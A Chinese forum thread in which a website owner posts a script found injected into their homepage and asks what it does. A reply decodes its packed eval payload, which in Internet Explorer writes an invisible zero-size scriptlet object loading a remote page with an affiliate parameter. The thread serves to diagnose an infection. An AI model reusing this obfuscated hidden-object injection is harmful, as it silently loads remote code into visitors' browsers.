我的网站首页文件不知不觉给加上了这段代码,郁闷中。可能是给挂马了吧,但不知这段代码是什么意思了请高手赐教了,还有一个问题是,这代码是如何加上的?????? 急 。
<script type="text/javascript">
var browser = new Object();
function getBrowser() {
var b = navigator.userAgent.toLowerCase();
browser = {
safari: /webkit/.test(b),
opera: /opera/.test(b),
ie6: /msie 6/.test(b) && !/opera/.test(b),
ie7: /msie 7/.test(b) && !/opera/.test(b),
msie: /msie/.test(b) && !/opera/.test(b),
mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)
};
}
getBrowser();document.write(browser.msie);
</script>
opera: /opera/.test(b),
ie6: /msie 6/.test(b) && !/opera/.test(b),
ie7: /msie 7/.test(b) && !/opera/.test(b),
msie: /msie/.test(b) && !/opera/.test(b),
mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)
};
全是浏览器类型啊!
<script type="text/javascript">
var browser = new Object();
function getBrowser() {
var b = navigator.userAgent.toLowerCase();
browser = {
safari: /webkit/.test(b),
opera: /opera/.test(b),
ie6: /msie 6/.test(b) && !/opera/.test(b),
ie7: /msie 7/.test(b) && !/opera/.test(b),
msie: /msie/.test(b) && !/opera/.test(b),
mozilla: /mozilla/.test(b) && !/(compatible|webkit)/.test(b)
};
}
getBrowser();
var urlVar = "http://www.688365.com?affiliate=365_035345";
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2(3.4){5.7(\'<1 8="9:a" b="c\\/d-e" f="g://6.h/i/j.k?\'+l+\'" m=0 n=0><\\/1>\')}',24,24,'|object|if|browser|msie|document||write|style|border|0px|type|text|x|scriptlet|data|http|cn|showmyweb|closepop2|html|urlVar|width|height'.split('|'),0,{}))
</script>
document.write('<object style="border:0px" type="text\/x-scriptlet" data="http://6.cn/showmyweb/closepop2.html?' + urlVar + '" width=0 height=0><\/object>')
}
eval解析后的代码是
如果 ie执行